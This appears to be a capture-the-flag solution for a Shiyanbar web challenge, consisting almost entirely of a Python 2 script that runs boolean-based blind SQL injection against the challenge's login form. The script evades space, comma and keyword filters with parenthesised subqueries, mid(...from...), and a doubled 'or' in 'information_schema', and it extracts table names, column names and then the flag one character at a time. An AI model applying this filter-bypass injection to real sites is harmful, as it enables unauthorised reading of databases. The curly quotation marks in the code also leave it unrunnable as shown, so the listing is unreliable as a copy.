实验吧——认真一点（绕过空格，逗号，关键字过滤等 sql盲注）

 1 # -*- coding: utf-8 -*-
 2 import requests
 3 
 4 strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 5 
 6 url=‘http://ctf5.shiyanbar.com/web/earnest/index.php‘
 7 
 8 headers={
 9     ‘Content-Type‘: ‘application/x-www-form-urlencoded‘
10 }
11 
12 #fiag
13 def func1():
14     result=‘‘
15     for index in range(1,1000):
16         for i in strall:
17             data="id=1‘=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
18             print data
19             r=requests.post(url=url,data=data,headers=headers)
20             if r.text.find(‘You are in‘) >=0:
21                 result+=i
22                 print result
23                 break
24             elif i==‘9‘:
25                 print result
26                 return
27 
28 #fL$4G
29 def func2():
30     result=‘‘
31     for index in range(1,1000):
32         for i in strall:
33             data="id=1‘=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘fiag‘))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
34             print data
35             r=requests.post(url=url,data=data,headers=headers)
36             if r.text.find(‘You are in‘) >=0:
37                 result+=i
38                 print result
39                 break
40             elif i==‘9‘:
41                 print result
42                 return
43 
44 
45 def func3():
46     result=‘‘
47     for index in range(1,1000):
48         for i in strall:
49             data="id=1‘=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})=‘1&submit=".format(str(index),str(ord(i)))
50             print data
51             r=requests.post(url=url,data=data,headers=headers)
52             if r.text.find(‘You are in‘) >=0:
53                 result+=i
54                 print result
55                 break
56             elif i==‘9‘:
57                 print result
58                 return
59 
60 
61 
62 #func1()
63 #func2()
64 func3()
65 
66 
67 raw_input(‘done‘)